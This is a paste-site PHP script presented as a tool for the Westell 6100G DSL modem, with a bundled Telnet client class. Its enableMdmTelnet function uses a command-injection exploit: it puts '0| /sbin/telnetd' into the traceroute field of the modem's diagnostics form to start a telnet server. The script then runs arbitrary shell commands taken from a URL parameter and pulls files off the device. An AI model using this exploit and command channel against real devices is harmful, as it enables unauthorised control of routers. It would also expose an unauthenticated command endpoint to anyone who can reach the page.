zefie icon

Westell 6100G PHP Tool

zefie | PRO | 10/16/12 02:03:35 PM UTC | 0 ⭐ | 855 👁️ | Never ⏰ | []
PHP |

14.19 KB

|

None

|

0 👍

/

0 👎

<?php
set_time_limit(0);
$mdmip = '192.168.1.1';
 
foreach ($_GET as $k => $v) {
    if ($k == 'reboot') {
        header('Content-type: text/plain');
        echo executeMdmShellCmd('reboot');
    }
    if ($k == 'shellcmd') {
        header('Content-type: text/plain');
        echo executeMdmShellCmd($v);
    }
/*
    if ($k == 'alltx') {
        header('Content-type: text/plain');
        all_tx_script();
    }
*/
    if ($k == 'dslcmd') {
        header('Content-type: text/plain');
        echo mdmDSLCPECmd($v);
    }
    if ($k == 'resync') {
        header('Content-type: text/plain');
        echo mdmDSLCPECmd('g997pmsft 3');
        sleep(10);
        echo mdmDSLCPECmd('g997pmsft 0');
    }
    if ($k == 'download') {
        $f = split("/",$v);
        $fn = $f[(count($f)-1)];
        if (strpos($fn,'.') == '') {
            $fn .= ".bin";
        }
        $data = getBinaryFileFromTelnet($v);
        if (strlen($data) > 0) {
            header('Content-Disposition: attachment; filename="'.$fn.'"');
            header('Content-length: '.strlen($data));
            echo $data;
        }
    }
}
 
function getBinaryFileFromTelnet($f) {
    $prelim = executeMdmShellCmd('cmp -l /dev/zero "'.$f.'" 2>/dev/null');
    $prelim = split("\n",$prelim);
    $odat = '';
    $len = split(" ",$prelim[(count($prelim)-1)]);
    $len = $len[0];
    for ($i=0;$i<$len;$i++) {
        $bindat[$i] = chr(0);
    }
    foreach ($prelim as $line) {
        $l = split(" ",$line);
        $oct = $l[(count($l)-1)];
        $bindat[($l[0]-1)] = chr(octdec($oct));
    }
    unset($prelim);
    foreach ($bindat as $byte) {
        $odat .= $byte;
    }
    unset($bindat);
    return $odat;
}
 
function mdmDSLCPECmd($c) {
    return executeMdmShellCmd('/etc/InfineonScripts/dsl_cpe_pipe.sh 0 '.$c);
/*
    executeMdmShellCmd('echo "'.$c.'" > /tmp/pipe/dsl_cpe0_cmd');
    sleep(1);
    return executeMdmShellCmd('cat /tmp/pipe/dsl_cpe0_ack');
*/
}
 
 
function all_tx_script() {
    // this script is on the modem, but doesn't work due to missing 'cut' cmd
    // /etc/InfineonScripts/all_tx.sh
 
    // dunno what it does, only seems to desync my adsl1 line
 
    mdmDSLCPECmd('alf . .');
    mdmDSLCPECmd('alf . ');
    mdmDSLCPECmd('acs 0');
    mdmDSLCPECmd('cw cntl 0 0 8');
    all_tx_wa_loop(2,0);
    mdmDSLCPECmd('cw test 7 0 4');
    mdmDSLCPECmd('cw test 7 0 1');
    all_tx_wa_loop(6,15);
    all_tx_wa_loop(7,'D03');
    mdmDSLCPECmd('cw test 7 0 4');
    mdmDSLCPECmd('cw test 7 0 6');
    mdmDSLCPECmd('cw test 7 0 2');
    all_tx_wa_loop(5,'1A0D');
    mdmDSLCPECmd('cw test 6 0 0');
    mdmDSLCPECmd('cw test 6 0 1');
    sleep(15);
}
 
function all_tx_wa_loop($a,$b) {
        mdmDSLCPECmd('dms 00A1 0000 0003 C0E8 $a');
        mdmDSLCPECmd('dms 00A1 0000 0003 1F48 0020');
        mdmDSLCPECmd('dms 00A1 0000 0003 C0F0 $b');
 
        $result = '';
    while ($result != '0x0030') {
        $res = mdmDSLCPECmd('dms 0021 0000 0003 1F48 0000');
        $res = getBetween($res,'nData="','"');
        $result = trim($res);
        }
}
 
function executeMdmShellCmd($cmd) {
    global $mdmip;
    $i = 0;
    $telnet = new Telnet($mdmip);
    tstart:
    $i++;
    // Define prompt as something unique that will not exist in any file
    $myprompt = chr(174).'zshell'.chr(175).' ';
 
    $result = $telnet->connect();
    if ($result != false) {
        // Wait for default prompt
        $telnet->setPrompt('#');
        $telnet->waitPrompt();
        // Prepare for new prompt
        $telnet->setPrompt($myprompt);
        // Set new prompt
        echo $telnet->exec("PS1='".$myprompt."'");
        $telnet->waitPrompt();
        // Now we can execute a command
        $res = $telnet->exec($cmd);
        $telnet->disconnect();
        $res = preg_replace("/\r/",'',$res);
        // Remove the echoed back command
        $resn = split("\n",$res);
        unset($resn[0]);
        $res = implode("\n",$resn);
        return $res;
    } else {
        // If telnet server is not running, enable it via exploit.
        // then try to execute our command again, up to 3 times.
        if ($i < 3) {
            enableMdmTelnet();
            sleep(2);
            goto tstart;
        } else {
            // Failure to start telnet server, or connect to it, or whatever
        }
    }
}
 
function enableMdmTelnet() {
    // Using an exploit, activate the telnet server
    $cmd = "/sbin/telnetd";
    $passwd = $_SERVER['PHP_AUTH_PW'];
 
    $c['next_page'] = "/htmlV/adv_diagnostics.asp";
    $c['Self_Test'] = "";
    $c['Ping_ISP_Router'] = "";
    $c['diag_dns'] = "";
    $c['diag_ping'] = "";
    $c['diag_traceroute'] = "0| ".$cmd;
    $c['diag_traceroute_maxhops'] = 1;
    $cf = "";
    foreach ($c as $k => $v) {
        $cf .= $k."=".urlencode($v)."&";
    }
    $cf = rtrim($cf,"&");
 
    // Send the command
    $u = "admin:".$passwd."@192.168.1.1/goform/EventForm";
    $ch = curl_init();
    $timeout = 10;
    curl_setopt($ch, CURLOPT_URL, $u);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
    curl_setopt($ch,CURLOPT_POST, 1);
    curl_setopt($ch,CURLOPT_POSTFIELDS, $cf);
    $data = curl_exec($ch);
    curl_close($ch);
 
/*
    // This section was for getting cmd results prior to the smarter telnet method
    // Retained for informal purposes
 
    // Give the modem a bit to process the command
    sleep(2);
 
    // Request the form which is magically populated with the results
    $u = "admin:".$passwd."@192.168.1.1".$c['next_page'];
    $ch = curl_init();
    $timeout = 5;
    curl_setopt($ch, CURLOPT_URL, $u);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
    $data = curl_exec($ch);
    curl_close($ch);
 
    // Filter out HTML
    $res = getBetween($data,"--- Trace Route Test Results ---\n","</TEXTAREA>");
    // Return raw shell command result
    return $res;
*/
}
 
function getBetween($src,$start,$end) {
$c1 = (strpos($src,$start) + strlen($start));
$c2 = strpos($src,$end,$c1);
return substr($src,$c1,($c2 - $c1));
}
 
/**
 * Telnet class
 *
 * Used to execute remote commands via telnet connection
 * Usess sockets functions and fgetc() to process result
 *
 * All methods throw Exceptions on error
 *
 * Written by Dalibor Andzakovic <[email protected]>
 * Based on the code originally written by Marc Ennaji and extended by
 * Matthias Blaser <[email protected]>
 */
class Telnet {
    private $host;
    private $port;
    private $timeout;
    private $socket= NULL;
    private $buffer = NULL;
    private $prompt;
    private $errno;
    private $errstr;
    private $NULL;
    private $DC1;
    private $WILL;
    private $WONT;
    private $DO;
    private $DONT;
    private $IAC;
    const TELNET_ERROR = FALSE;
    const TELNET_OK = TRUE;
 
    /**
     * Constructor. Initialises host, port and timeout parameters
     * defaults to localhost port 23 (standard telnet port)
     *
     * @param string $host Host name or IP addres
     * @param int $port TCP port number
     * @param int $timeout Connection timeout in seconds
     * @return void
    */
    public function __construct($host, $port = '23', $timeout = 10){
        $this->host = $host;
        $this->port = $port;
        $this->timeout = $timeout;
 
        // set some telnet special characters
        $this->NULL = chr(0);
        $this->DC1 = chr(17);
        $this->WILL = chr(251);
        $this->WONT = chr(252);
        $this->DO = chr(253);
        $this->DONT = chr(254);
        $this->IAC = chr(255);
        $this->connect();
    }
 
    /**
     * Destructor. Cleans up socket connection and command buffer
     *
     * @return void
     */
    public function __destruct() {
        // cleanup resources
        $this->disconnect();
        $this->buffer = NULL;
    }
 
    /**
     * Attempts connection to remote host. Returns TRUE if sucessful.
     *
     * @return boolean
     */
    public function connect(){
        // check if we need to convert host to IP
        if (!preg_match('/([0-9]{1,3}\\.){3,3}[0-9]{1,3}/', $this->host)) {
            $ip = gethostbyname($this->host);
            if($this->host == $ip){
                throw new Exception("Cannot resolve $this->host");
            } else{
                $this->host = $ip; 
            }
        }
        // attempt connection
        $this->socket = @fsockopen($this->host, $this->port, $this->errno, $this->errstr, $this->timeout);
        if (!$this->socket){
            return false;
        }
        return self::TELNET_OK;
    }
 
    /**
     * Closes IP socket
     *
     * @return boolean
     */
    public function disconnect(){
        if ($this->socket){
            if (! fclose($this->socket)){
                throw new Exception("Error while closing telnet socket");
            }
            $this->socket = NULL;
        }
        return self::TELNET_OK;
    }
 
    /**
     * Executes command and returns a string with result.
     * This method is a wrapper for lower level private methods
     *
     * @param string $command Command to execute
     * @return string Command result
     */
    public function exec($command, $addNewLine=true) {
        $this->write($command, $addNewLine);
        $this->waitPrompt(1);
        return $this->getBuffer();
    }
 
    /**
     * Attempts login to remote host.
     * This method is a wrapper for lower level private methods and should be
     * modified to reflect telnet implementation details like login/password
     * and line prompts. Defaults to standard unix non-root prompts
     *
     * @param string $username Username
     * @param string $password Password
     * @return boolean
     */
    public function login($username, $password) {
        try{
            $this->setPrompt('ogin:');
            $this->waitPrompt();
            $this->write($username);
            $this->setPrompt('assword:');
            $this->waitPrompt();
            $this->write($password);
            //$this->setPrompt();
            //$this->waitPrompt();
        } catch(Exception $e){
            throw new Exception("Login failed.");
        }
        return self::TELNET_OK;
    }
 
    /**
     * Sets the string of characters to respond to.
     * This should be set to the last character of the command line prompt
     *
     * @param string $s String to respond to
     * @return boolean
     */
    public function setPrompt($s = '$'){
        $this->prompt = $s;
        return self::TELNET_OK;
    }
 
    /**
     * Gets character from the socket
     *
     * @return void
     */
    private function getc() {
        return fgetc($this->socket);
    }
 
    /**
     * Clears internal command buffer
     *
     * @return void
     */
    private function clearBuffer() {
        $this->buffer = '';
    }
 
    /**
     * Reads characters from the socket and adds them to command buffer.
     * Handles telnet control characters. Stops when prompt is ecountered.
     *
     * @param string $prompt
     * @return boolean
     */
    private function readTo($prompt){
        if (!$this->socket){
            throw new Exception("Telnet connection closed");
        }
        // clear the buffer 
        $this->clearBuffer();
        do{
            $c = $this->getc();
            if ($c === false){
                throw new Exception("Couldn't find the requested : '" . $prompt . "', it was not in the data returned from server : '" . $buf . "'");
            }
            if ($c == $this->IAC) {
                if ($this->negotiateTelnetOptions()){
                    continue;
                }
            }
            // append current char to global buffer
            $this->buffer .= $c;
            // we've encountered the prompt. Break out of the loop
            if ((substr($this->buffer, strlen($this->buffer) - strlen($prompt))) == $prompt){
                return self::TELNET_OK;
            }
        } while($c != $this->NULL || $c != $this->DC1);
    }
 
    /**
     * Write command to a socket
     *
     * @param string $buffer Stuff to write to socket
     * @param boolean $addNewLine Default true, adds newline to the command
     * @return boolean
     */
    public function write($buffer, $addNewLine=true){
        if (!$this->socket){
            throw new Exception("Telnet connection closed");
        }
        // clear buffer from last command
        $this->clearBuffer();
        if ($addNewLine == true){
            $buffer .= "\n";
        }
        if (!fwrite($this->socket, $buffer) < 0){
            throw new Exception("Error writing to socket");
        }
        return self::TELNET_OK;
    }
 
    /**
     * Returns the content of the command buffer
     *
     * @return string Content of the command buffer
     */
    private function getBuffer(){
        // cut last line (is always prompt)
        $buf = explode("\n", $this->buffer);
        unset($buf[count($buf)-1]);
        $buf = implode("\n",$buf);
        return trim($buf);
    }
 
    /**
     * Telnet control character magic
     *
     * @param string $command Character to check
     * @return boolean
     */
    private function negotiateTelnetOptions(){
        $c = $this->getc();
        if ($c != $this->IAC){
            if (($c == $this->DO) || ($c == $this->DONT)){
                $opt = $this->getc();
                fwrite($this->socket, $this->IAC . $this->WONT . $opt);
            } else if (($c == $this->WILL) || ($c == $this->WONT)) {
                $opt = $this->getc();
                fwrite($this->socket, $this->IAC . $this->DONT . $opt);
            } else {
                throw new Exception('Error: unknown control character ' . ord($c ));
            }
        } else{
            throw new Exception('Error: Something Wicked Happened');
        }
        return self::TELNET_OK;
    }
 
    /**
     * Reads socket until prompt is encountered
     */
    public function waitPrompt(){
        $prompt = $this->prompt;
        return $this->readTo($prompt);
    }
}

Comments